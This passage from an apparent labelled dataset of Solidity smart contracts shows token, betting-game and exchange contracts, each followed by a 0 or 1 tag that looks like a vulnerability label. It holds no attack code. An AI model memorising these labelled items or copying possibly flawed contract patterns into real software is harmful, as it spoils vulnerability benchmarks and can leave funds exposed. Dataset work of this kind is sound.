function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is ERC20 {
using SafeMath for uint;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0);
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0);
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract CommonToken is StandardToken, MultiOwnable {
string public name;
string public symbol;
uint256 public totalSupply;
uint8 public decimals = 18;
string public version = 'v0.1';
address public seller;
uint256 public saleLimit;
uint256 public tokensSold;
uint256 public totalSales;
bool public locked = true;
event SellEvent(address indexed _seller, address indexed _buyer, uint256 _value);
event ChangeSellerEvent(address indexed _oldSeller, address indexed _newSeller);
event Burn(address indexed _burner, uint256 _value);
event Unlock();
function CommonToken(
address _owner1,
address _owner2,
address _seller,
string _name,
string _symbol,
uint256 _totalSupplyNoDecimals,
uint256 _saleLimitNoDecimals
) MultiOwnable(_owner1, _owner2) public {
require(_seller != address(0));
require(_totalSupplyNoDecimals > 0);
require(_saleLimitNoDecimals > 0);
seller = _seller;
name = _name;
symbol = _symbol;
totalSupply = _totalSupplyNoDecimals * 1e18;
saleLimit = _saleLimitNoDecimals * 1e18;
balances[seller] = totalSupply;
Transfer(0x0, seller, totalSupply);
}
modifier ifUnlocked(address _from, address _to) {
require(!locked || isOwner(_from) || isOwner(_to));
_;
}
function unlock() onlySuperOwner public {
require(locked);
locked = false;
Unlock();
}
function changeSeller(address newSeller) onlySuperOwner public returns (bool) {
require(newSeller != address(0));
require(seller != newSeller);
address oldSeller = seller;
uint256 unsoldTokens = balances[oldSeller];
balances[oldSeller] = 0;
balances[newSeller] = balances[newSeller].add(unsoldTokens);
Transfer(oldSeller, newSeller, unsoldTokens);
seller = newSeller;
ChangeSellerEvent(oldSeller, newSeller);
return true;
}
function sellNoDecimals(address _to, uint256 _value) public returns (bool) {
return sell(_to, _value * 1e18);
}
function sell(address _to, uint256 _value) onlyOwner public returns (bool) {
require(tokensSold.add(_value) <= saleLimit);
require(_to != address(0));
require(_value > 0);
require(_value <= balances[seller]);
balances[seller] = balances[seller].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(seller, _to, _value);
totalSales++;
tokensSold = tokensSold.add(_value);
SellEvent(seller, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) ifUnlocked(msg.sender, _to) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) ifUnlocked(_from, _to) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function burn(uint256 _value) public returns (bool) {
require(_value > 0);
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value) ;
totalSupply = totalSupply.sub(_value);
Transfer(msg.sender, 0x0, _value);
Burn(msg.sender, _value);
return true;
}
}
contract RaceToken is CommonToken {
function RaceToken() CommonToken(
0x229B9Ef80D25A7e7648b17e2c598805d042f9e56,
0xcd7cF1D613D5974876AfBfd612ED6AFd94093ce7,
0x2821e1486D604566842FF27F626aF133FddD5f89,
'Coin Race',
'RACE',
100 * 1e6,
70 * 1e6
) public {}
}
library RaceCalc {
using SafeMath for uint;
function calcStake(
uint _currentTime,
uint _finishTime
) public pure returns (uint) {
require(_currentTime > 0);
require(_currentTime < _finishTime);
return _finishTime.sub(_currentTime);
}
function calcGainE8(
uint _startRateToUsdE8,
uint _finishRateToUsdE8
) public pure returns (int) {
require(_startRateToUsdE8 > 0);
require(_finishRateToUsdE8 > 0);
int diff = int(_finishRateToUsdE8) - int(_startRateToUsdE8);
return (diff * 1e8) / int(_startRateToUsdE8);
}
function calcPrizeTokensE18(
uint totalTokens,
uint winningStake,
uint driverStake
) public pure returns (uint) {
if (totalTokens == 0) return 0;
if (winningStake == 0) return 0;
if (driverStake == 0) return 0;
if (winningStake == driverStake) return totalTokens;
require(winningStake > driverStake);
uint share = driverStake.mul(1e8).div(winningStake);
return totalTokens.mul(share).div(1e8);
}
}
contract CommonWallet is MultiOwnable {
RaceToken public token;
event ChangeTokenEvent(address indexed _oldAddress, address indexed _newAddress);
function CommonWallet(address _owner1, address _owner2)
MultiOwnable(_owner1, _owner2) public {}
function setToken(address _token) public onlySuperOwner {
require(_token != 0);
require(_token != address(token));
ChangeTokenEvent(token, _token);
token = RaceToken(_token);
}
function transfer(address _to, uint256 _value) onlyOwner public returns (bool) {
return token.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) onlyOwner public returns (bool) {
return token.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) onlyOwner public returns (bool) {
return token.approve(_spender, _value);
}
function burn(uint256 _value) onlySuperOwner public returns (bool) {
return token.burn(_value);
}
function balance() public view returns (uint256) {
return token.balanceOf(this);
}
function balanceOf(address _owner) public view returns (uint256) {
return token.balanceOf(_owner);
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return token.allowance(_owner, _spender);
}
}
contract GameWallet is CommonWallet {
function GameWallet() CommonWallet(
0x229B9Ef80D25A7e7648b17e2c598805d042f9e56,
0xcd7cF1D613D5974876AfBfd612ED6AFd94093ce7
) public {}
}
library RaceLib {
using SafeMath for uint;
function makeBet(
Race storage _race,
address _driver,
address _car,
uint _tokensE18
) public {
require(!isFinished(_race));
var bet = Bet({
driver: _driver,
car: _car,
tokens: _tokensE18,
time: now
});
_race.betsByDriver[_driver].push(bet);
_race.betsByCar[_car].push(bet);
if (_race.tokensByCarAndDriver[_car][_driver] == 0) {
_race.driverCountByCar[_car] = _race.driverCountByCar[_car] + 1;
}
_race.tokensByCar[_car] = _race.tokensByCar[_car].add(_tokensE18);
_race.tokensByCarAndDriver[_car][_driver] =
_race.tokensByCarAndDriver[_car][_driver].add(_tokensE18);
uint stakeTime = bet.time;
if (bet.time < _race.leftGraceTime && _race.leftGraceTime > 0) stakeTime = _race.leftGraceTime;
if (bet.time > _race.rightGraceTime && _race.rightGraceTime > 0) stakeTime = _race.rightGraceTime;
uint stake = RaceCalc.calcStake(stakeTime, _race.finishTime);
_race.stakeByCar[_car] = _race.stakeByCar[_car].add(stake);
_race.stakeByCarAndDriver[_car][_driver] =
_race.stakeByCarAndDriver[_car][_driver].add(stake);
_race.totalTokens = _race.totalTokens.add(_tokensE18);
}
function hasDriverJoined(
Race storage _race,
address _driver
) public view returns (bool) {
return betCountByDriver(_race, _driver) > 0;
}
function betCountByDriver(
Race storage _race,
address _driver
) public view returns (uint) {
return _race.betsByDriver[_driver].length;
}
function betCountByCar(
Race storage _race,
address _car
) public view returns (uint) {
return _race.betsByCar[_car].length;
}
function startCar(
Race storage _race,
address _car,
uint _rateToUsdE8
) public {
require(_rateToUsdE8 > 0);
require(_race.carRates[_car].startRateToUsdE8 == 0);
_race.carRates[_car].startRateToUsdE8 = _rateToUsdE8;
}
function finish(
Race storage _race
) public {
require(!_race.finished);
require(now >= _race.finishTime);
_race.finished = true;
}
function isFinished(
Race storage _race
) public view returns (bool) {
return _race.finished;
}
struct Race {
uint id;
uint leftGraceTime;
uint rightGraceTime;
uint startTime;
uint finishTime;
bool finished;
uint finishedCarCount;
address firstCar;
uint totalTokens;
uint driverCount;
mapping (uint => address) drivers;
mapping (address => uint) driverCountByCar;
mapping (address => Bet[]) betsByDriver;
mapping (address => Bet[]) betsByCar;
mapping (address => uint) tokensByCar;
mapping (address => mapping (address => uint)) tokensByCarAndDriver;
mapping (address => uint) stakeByCar;
mapping (address => mapping (address => uint)) stakeByCarAndDriver;
mapping (address => CarRates) carRates;
mapping (address => int) gainByCar;
mapping (address => bool) isFinishedCar;
mapping (address => uint) tokensClaimedByDriver;
}
struct Bet {
address driver;
address car;
uint tokens;
uint time;
}
struct CarRates {
uint startRateToUsdE8;
uint finishRateToUsdE8;
}
}
contract CommonRace is MultiOwnable {
using SafeMath for uint;
using RaceLib for RaceLib.Race;
GameWallet public wallet;
string public name;
address[] public cars;
mapping (address => bool) public isKnownCar;
RaceLib.Race[] public races;
address[] public drivers;
mapping (address => bool) public isKnownDriver;
modifier ifWalletDefined() {
require(address(wallet) != address(0));
_;
}
function CommonRace(
address _owner1,
address _owner2,
address[] _cars,
string _name
) MultiOwnable(_owner1, _owner2) public {
require(_cars.length > 0);
name = _name;
cars = _cars;
for (uint16 i = 0; i < _cars.length; i++) {
isKnownCar[_cars[i]] = true;
}
}
function getNow() public view returns (uint) {
return now;
}
function raceCount() public view returns (uint) {
return races.length;
}
function carCount() public view returns (uint) {
return cars.length;
}
function driverCount() public view returns (uint) {
return drivers.length;
}
function setWallet(address _newWallet) onlySuperOwner public {
require(wallet != _newWallet);
require(_newWallet != 0);
GameWallet newWallet = GameWallet(_newWallet);
wallet = newWallet;
}
function lastLapId() public view returns (uint) {
require(races.length > 0);
return races.length - 1;
}
function nextLapId() public view returns (uint) {
return races.length;
}
function getRace(uint _lapId) internal view returns (RaceLib.Race storage race) {
race = races[_lapId];
require(race.startTime > 0);
}
function startNewRace(
uint _newLapId,
uint[] _carsAndRates,
uint _durationSecs,
uint _leftGraceSecs,
uint _rightGraceSecs
) onlyOwner public {
require(_newLapId == nextLapId());
require(_carsAndRates.length == (cars.length * 2));
require(_durationSecs > 0);
if (_leftGraceSecs > 0) require(_leftGraceSecs <= _durationSecs);
if (_rightGraceSecs > 0) require(_rightGraceSecs <= _durationSecs);
uint finishTime = now.add(_durationSecs);
races.push(RaceLib.Race({
id: _newLapId,
leftGraceTime: now + _leftGraceSecs,
rightGraceTime: finishTime - _rightGraceSecs,
startTime: now,
finishTime: finishTime,
finished: false,
finishedCarCount: 0,
firstCar: 0,
totalTokens: 0,
driverCount: 0
}));
RaceLib.Race storage race = races[_newLapId];
uint8 j = 0;
for (uint8 i = 0; i < _carsAndRates.length; i += 2) {
address car = address(_carsAndRates[j++]);
uint startRateToUsdE8 = _carsAndRates[j++];
require(isKnownCar[car]);
race.startCar(car, startRateToUsdE8);
}
}
function finishRace(
uint _lapId,
uint[] _carsAndRates
) onlyOwner public {
require(_carsAndRates.length == (cars.length * 2));
RaceLib.Race storage race = getRace(_lapId);
race.finish();
int maxGain = 0;
address firstCar;
uint8 j = 0;
for (uint8 i = 0; i < _carsAndRates.length; i += 2) {
address car = address(_carsAndRates[j++]);
uint finishRateToUsdE8 = _carsAndRates[j++];
require(!isCarFinished(_lapId, car));
RaceLib.CarRates storage rates = race.carRates[car];
rates.finishRateToUsdE8 = finishRateToUsdE8;
race.isFinishedCar[car] = true;
race.finishedCarCount++;
int gain = RaceCalc.calcGainE8(rates.startRateToUsdE8, finishRateToUsdE8);
race.gainByCar[car] = gain;
if (i == 0 || gain > maxGain) {
maxGain = gain;
firstCar = car;
}
}
require(firstCar != 0);
race.firstCar = firstCar;
}
function finishRaceThenStartNext(
uint _lapId,
uint[] _carsAndRates,
uint _durationSecs,
uint _leftGraceSecs,
uint _rightGraceSecs
) onlyOwner public {
finishRace(_lapId, _carsAndRates);
startNewRace(_lapId + 1, _carsAndRates, _durationSecs, _leftGraceSecs, _rightGraceSecs);
}
function isLastRaceFinsihed() public view returns (bool) {
return isLapFinished(lastLapId());
}
function isLapFinished(
uint _lapId
) public view returns (bool) {
return getRace(_lapId).isFinished();
}
function lapStartTime(
uint _lapId
) public view returns (uint) {
return getRace(_lapId).startTime;
}
function lapFinishTime(
uint _lapId
) public view returns (uint) {
return getRace(_lapId).finishTime;
}
function isCarFinished(
uint _lapId,
address _car
) public view returns (bool) {
require(isKnownCar[_car]);
return getRace(_lapId).isFinishedCar[_car];
}
function allCarsFinished(
uint _lapId
) public view returns (bool) {
return finishedCarCount(_lapId) == cars.length;
}
function finishedCarCount(
uint _lapId
) public view returns (uint) {
return getRace(_lapId).finishedCarCount;
}
function firstCar(
uint _lapId
) public view returns (address) {
return getRace(_lapId).firstCar;
}
function isWinningDriver(
uint _lapId,
address _driver
) public view returns (bool) {
RaceLib.Race storage race = getRace(_lapId);
return race.tokensByCarAndDriver[race.firstCar][_driver] > 0;
}
function myUnclaimedTokens(
uint _lapId
) public view returns (uint) {
return unclaimedTokens(_lapId, msg.sender);
}
function unclaimedTokens(
uint _lapId,
address _driver
) public view returns (uint) {
RaceLib.Race storage race = getRace(_lapId);
if (race.tokensClaimedByDriver[_driver] > 0) return 0;
if (!race.isFinished()) return 0;
if (race.firstCar == 0) return 0;
if (race.totalTokens == 0) return 0;
if (race.stakeByCar[race.firstCar] == 0) return 0;
uint driverStake = race.stakeByCarAndDriver[race.firstCar][_driver];
if (driverStake == 0) return 0;
return RaceCalc.calcPrizeTokensE18(
race.totalTokens,
race.stakeByCar[race.firstCar],
driverStake
);
}
function claimTokens(
uint _lapId
) public ifWalletDefined {
address driver = msg.sender;
uint tokens = unclaimedTokens(_lapId, driver);
require(tokens > 0);
require(wallet.transfer(driver, tokens));
getRace(_lapId).tokensClaimedByDriver[driver] = tokens;
}
function makeBet(
uint _lapId,
address _car,
uint _tokensE18
) public ifWalletDefined {
address driver = msg.sender;
require(isKnownCar[_car]);
require(wallet.transferFrom(msg.sender, wallet, _tokensE18));
getRace(_lapId).makeBet(driver, _car, _tokensE18);
if (!isKnownDriver[driver]) {
isKnownDriver[driver] = true;
drivers.push(driver);
}
}
function myBetsInLap(
uint _lapId
) public view returns (uint[] memory totals) {
RaceLib.Race storage race = getRace(_lapId);
totals = new uint[](cars.length * 2);
uint8 j = 0;
address car;
for (uint8 i = 0; i < cars.length; i++) {
car = cars[i];
totals[j++] = uint(car);
totals[j++] = race.tokensByCarAndDriver[car][msg.sender];
}
}
function lapTotals(
uint _lapId
) public view returns (int[] memory totals) {
RaceLib.Race storage race = getRace(_lapId);
totals = new int[](5 + cars.length * 7);
uint _myUnclaimedTokens = 0;
if (isLapFinished(_lapId)) {
_myUnclaimedTokens = unclaimedTokens(_lapId, msg.sender);
}
address car;
uint8 j = 0;
totals[j++] = int(now);
totals[j++] = int(race.startTime);
totals[j++] = int(race.finishTime - race.startTime);
totals[j++] = int(race.firstCar);
totals[j++] = int(_myUnclaimedTokens);
for (uint8 i = 0; i < cars.length; i++) {
car = cars[i];
totals[j++] = int(car);
totals[j++] = int(race.carRates[car].startRateToUsdE8);
totals[j++] = int(race.carRates[car].finishRateToUsdE8);
totals[j++] = int(race.driverCountByCar[car]);
totals[j++] = int(race.tokensByCar[car]);
totals[j++] = int(race.tokensByCarAndDriver[car][msg.sender]);
totals[j++] = race.gainByCar[car];
}
}
}
contract RaceOldSchool4h is CommonRace, CoinLib {
function RaceOldSchool4h() CommonRace(
0x229B9Ef80D25A7e7648b17e2c598805d042f9e56,
0xcd7cF1D613D5974876AfBfd612ED6AFd94093ce7,
oldSchool,
'Old School'
) public {}
}
contract RaceBtcForks4h is CommonRace, CoinLib {
function RaceBtcForks4h() CommonRace(
0x229B9Ef80D25A7e7648b17e2c598805d042f9e56,
0xcd7cF1D613D5974876AfBfd612ED6AFd94093ce7,
btcForks,
'Bitcoin Forks'
) public {}
}
contract RaceSmart4h is CommonRace, CoinLib {
function RaceSmart4h() CommonRace(
0x229B9Ef80D25A7e7648b17e2c598805d042f9e56,
0xcd7cF1D613D5974876AfBfd612ED6AFd94093ce7,
smart,
'Smart Coins'
) public {}
}
contract RaceAnons4h is CommonRace, CoinLib {
function RaceAnons4h() CommonRace(
0x229B9Ef80D25A7e7648b17e2c598805d042f9e56,
0xcd7cF1D613D5974876AfBfd612ED6AFd94093ce7,
anons,
'Anonymouses'
) public {}
} | 1 |
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Owned
{
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned()
{
owner = msg.sender;
}
modifier onlyOwner
{
require (msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner
{
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract x888 is StandardToken
{
using SafeMath for uint256;
string public name = "Meta Exchange x888";
string public symbol = "X888";
uint8 public constant decimals = 6;
uint256 version = 10090099999;
uint256 public totalSupply = 5125387888 * (uint256(10) ** decimals);
uint256 public exchFee = uint256(1 * (uint256(10) ** (decimals - 2)));
uint256 public startTimestamp;
uint256 public avgRate = uint256(uint256(10)**(18-decimals)).div(888);
address public stuff = 0x0CcCb9bAAdD61F9e0ab25bD782765013817821bD;
address public teama = 0x20f349917d2521c41f8ec9c0a1f7e0c36af0b46f;
address public baseowner;
mapping(address => bool) public _verify;
mapping(address => bool) public _trader;
mapping(uint256 => address) public _mks;
uint256 public makersCount;
event LogTransfer(address sender, address to, uint amount);
event Clearing(address to, uint256 amount);
event TradeListing(address indexed ownerAddress, address indexed tokenTraderAddress,
address indexed asset, uint256 buyPrice, uint256 sellPrice,bool buysTokens, bool sellsTokens);
event OwnerWithdrewERC20Token(address indexed tokenAddress, uint256 tokens);
function x888()
{
makersCount = 0;
startTimestamp = now;
baseowner = msg.sender;
balances[baseowner] = totalSupply;
Transfer(0x0, baseowner, totalSupply);
}
function bva(address partner, uint256 value, address adviser)payable public
{
uint256 tokenAmount = calcTotal(value);
if(msg.value != 0)
{
tokenAmount = calcCount(msg.value);
}else
{
require(msg.sender == stuff);
}
if(msg.value != 0)
{
Clearing(stuff, msg.value.mul(40).div(100));
stuff.transfer(msg.value.mul(40).div(100));
Clearing(teama, msg.value.mul(40).div(100));
teama.transfer(msg.value.mul(40).div(100));
if(partner != adviser && balances[adviser]!=0)
{
Clearing(adviser, msg.value.mul(20).div(100));
adviser.transfer(msg.value.mul(20).div(100));
}else
{
Clearing(stuff, msg.value.mul(10).div(100));
stuff.transfer(msg.value.mul(10).div(100));
Clearing(teama, msg.value.mul(10).div(100));
teama.transfer(msg.value.mul(10).div(100));
}
}
balances[baseowner] = balances[baseowner].sub(tokenAmount);
balances[partner] = balances[partner].add(tokenAmount);
Transfer(baseowner, partner, tokenAmount);
}
function() payable public
{
if(msg.value != 0)
{
uint256 tokenAmount = msg.value.div(avgRate);
Clearing(stuff, msg.value.mul(50).div(100));
stuff.transfer(msg.value.mul(50).div(100));
Clearing(teama, msg.value.mul(50).div(100));
teama.transfer(msg.value.mul(50).div(100));
if(msg.sender!=stuff)
{
balances[baseowner] = balances[baseowner].sub(tokenAmount);
balances[msg.sender] = balances[msg.sender].add(tokenAmount);
Transfer(baseowner, msg.sender, tokenAmount);
}
}
}
function calcTotal(uint256 count) constant returns(uint256)
{
return count.mul(getDeflator()).div(100);
}
function calcCount(uint256 weiAmount) constant returns(uint256)
{
return weiAmount.div(avgRate).mul(getDeflator()).div(100);
}
function getDeflator() constant returns (uint256)
{
if (now <= startTimestamp + 28 days)
{
return 138;
}else if (now <= startTimestamp + 56 days)
{
return 123;
}else if (now <= startTimestamp + 84 days)
{
return 115;
}else if (now <= startTimestamp + 112 days)
{
return 109;
}else if (now <= startTimestamp + 140 days)
{
return 105;
}else
{
return 100;
}
}
function verify(address tradeContract) constant returns (
bool valid,
address owner,
address asset,
uint256 units,
uint256 buyPrice,
uint256 sellPrice,
bool buysTokens,
bool sellsTokens
)
{
valid = _verify[tradeContract];
if (valid)
{
TokenTrader t = TokenTrader(tradeContract);
owner = t.owner();
asset = t.asset();
units = t.units();
buyPrice = t.buyPrice();
sellPrice = t.sellPrice();
buysTokens = t.buysTokens();
sellsTokens = t.sellsTokens();
}
}
function getTrader(uint256 id) public constant returns (
bool valid,
address trade,
address owner,
address asset,
uint256 units,
uint256 buyPrice,
uint256 sellPrice,
bool buysTokens,
bool sellsTokens
)
{
if(id < makersCount)
{
trade = _mks[id];
valid = _verify[trade];
if (valid)
{
TokenTrader t = TokenTrader(trade);
owner = t.owner();
asset = t.asset();
units = t.units();
buyPrice = t.buyPrice();
sellPrice = t.sellPrice();
buysTokens = t.buysTokens();
sellsTokens = t.sellsTokens();
}
}
}
function createTradeContract(
address asset,
address exchange,
uint256 units,
uint256 buyPrice,
uint256 sellPrice,
bool buysTokens,
bool sellsTokens
) public returns (address trader)
{
require (balances[msg.sender] > 1000 * (uint256(10) ** decimals));
require (asset != 0x0);
require(buyPrice > 0 && sellPrice > 0);
require(buyPrice < sellPrice);
require (units != 0x0);
trader = new TokenTrader(
asset,
baseowner,
exchange,
exchFee,
units,
buyPrice,
sellPrice,
buysTokens,
sellsTokens);
_verify[trader] = true;
_mks[makersCount] = trader;
makersCount = makersCount.add(1);
balances[baseowner] += 1000 * (uint256(10) ** decimals);
balances[msg.sender] -= 1000 * (uint256(10) ** decimals);
TokenTrader(trader).transferOwnership(msg.sender);
TradeListing(msg.sender, trader, asset, buyPrice, sellPrice, buysTokens, sellsTokens);
}
function cleanup()
{
revert();
}
function transfer(address _to, uint256 _value) returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining)
{
return super.allowance(_owner, _spender);
}
}
contract TokenTrader is Owned
{
using SafeMath for uint256;
address public asset;
address public exchange;
address public baseowner;
uint256 public units;
uint256 public buyPrice;
uint256 public sellPrice;
uint256 public exchFee;
bool public buysTokens;
bool public sellsTokens;
event ActivatedEvent(bool buys, bool sells);
event MakerDepositedEther(uint256 amount);
event MakerWithdrewAsset(uint256 tokens);
event MakerTransferredAsset(address toTokenTrader, uint256 tokens);
event MakerWithdrewERC20Token(address tokenAddress, uint256 tokens);
event MakerWithdrewEther(uint256 ethers);
event MakerTransferredEther(address toTokenTrader, uint256 ethers);
event TakerBoughtAsset(address indexed buyer, uint256 ethersSent, uint256 ethersReturned, uint256 tokensBought);
event TakerSoldAsset(address indexed seller, uint256 amountOfTokensToSell, uint256 tokensSold, uint256 etherValueOfTokensSold);
function TokenTrader (
address _asset,
address _baseowner,
address _exchange,
uint256 _exchFee,
uint256 _units,
uint256 _buyPrice,
uint256 _sellPrice,
bool _buysTokens,
bool _sellsTokens
)
{
asset = _asset;
units = _units;
buyPrice = _buyPrice;
baseowner = _baseowner;
exchange = _exchange;
exchFee = _exchFee;
sellPrice = _sellPrice;
buysTokens = _buysTokens;
sellsTokens = _sellsTokens;
ActivatedEvent(buysTokens, sellsTokens);
}
function activate (
address _asset,
uint256 _units,
uint256 _buyPrice,
uint256 _sellPrice,
bool _buysTokens,
bool _sellsTokens
) onlyOwner
{
require(ERC20(exchange).approve(baseowner,exchFee));
require(ERC20(exchange).transfer(baseowner,exchFee));
asset = _asset;
units = _units;
buyPrice = _buyPrice;
sellPrice = _sellPrice;
buysTokens = _buysTokens;
sellsTokens = _sellsTokens;
ActivatedEvent(buysTokens, sellsTokens);
}
function makerDepositEther() payable onlyOwner
{
require(ERC20(exchange).approve(baseowner,exchFee));
require(ERC20(exchange).transfer(baseowner,exchFee));
MakerDepositedEther(msg.value);
}
function makerWithdrawAsset(uint256 tokens) onlyOwner returns (bool ok)
{
require(ERC20(exchange).approve(baseowner,exchFee));
require(ERC20(exchange).transfer(baseowner,exchFee));
MakerWithdrewAsset(tokens);
ERC20(asset).approve(owner, tokens);
return ERC20(asset).transfer(owner, tokens);
}
function makerTransferAsset(
TokenTrader toTokenTrader,
uint256 tokens
) onlyOwner returns (bool ok)
{
require (owner == toTokenTrader.owner() || asset == toTokenTrader.asset());
require(ERC20(exchange).approve(baseowner,exchFee));
require(ERC20(exchange).transfer(baseowner,exchFee));
MakerTransferredAsset(toTokenTrader, tokens);
ERC20(asset).approve(toTokenTrader,tokens);
return ERC20(asset).transfer(toTokenTrader, tokens);
}
function makerWithdrawERC20Token(
address tokenAddress,
uint256 tokens
) onlyOwner returns (bool ok)
{
require(ERC20(exchange).approve(baseowner,exchFee));
require(ERC20(exchange).transfer(baseowner,exchFee));
MakerWithdrewERC20Token(tokenAddress, tokens);
ERC20(tokenAddress).approve(owner, tokens);
return ERC20(tokenAddress).transfer(owner, tokens);
}
function makerWithdrawEther(uint256 ethers) onlyOwner returns (bool ok)
{
if (this.balance >= ethers)
{
require(ERC20(exchange).approve(baseowner,exchFee));
require(ERC20(exchange).transfer(baseowner,exchFee));
MakerWithdrewEther(ethers);
return owner.send(ethers);
}
}
function makerTransferEther(
TokenTrader toTokenTrader,
uint256 ethers
) onlyOwner returns (bool)
{
require (owner == toTokenTrader.owner() || asset == toTokenTrader.asset());
require(ERC20(exchange).approve(baseowner,exchFee));
require(ERC20(exchange).transfer(baseowner,exchFee));
if (this.balance >= ethers)
{
MakerTransferredEther(toTokenTrader, ethers);
toTokenTrader.makerDepositEther.value(ethers)();
}
}
function takerBuyAsset() payable
{
if (sellsTokens || msg.sender == owner)
{
require(ERC20(exchange).approve(baseowner,exchFee));
require(ERC20(exchange).transfer(baseowner,exchFee));
uint256 order = msg.value / sellPrice;
uint256 can_sell = ERC20(asset).balanceOf(address(this))/units;
uint256 change = 0;
if (msg.value > (can_sell * sellPrice))
{
change = msg.value - (can_sell * sellPrice);
order = can_sell;
}
if (change > 0)
{
require(msg.sender.send(change));
}
if (order > 0)
{
require (ERC20(asset).approve(msg.sender, order * units));
require (ERC20(asset).transfer(msg.sender, order * units));
}
TakerBoughtAsset(msg.sender, msg.value, change, order * units);
}
else require (msg.sender.send(msg.value));
}
function takerSellAsset(uint256 amountOfTokensToSell) public
{
if (buysTokens || msg.sender == owner)
{
require(ERC20(exchange).approve(baseowner,exchFee));
require(ERC20(exchange).transfer(baseowner,exchFee));
uint256 can_buy = this.balance / buyPrice;
uint256 order = amountOfTokensToSell / units;
if (order > can_buy) order = can_buy;
if (order > 0)
{
require(ERC20(asset).transferFrom(msg.sender, address(this), order * units));
require(msg.sender.send(order * buyPrice));
}
TakerSoldAsset(msg.sender, amountOfTokensToSell, order * units, buyPrice * units);
}
}
function () payable
{
takerBuyAsset();
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
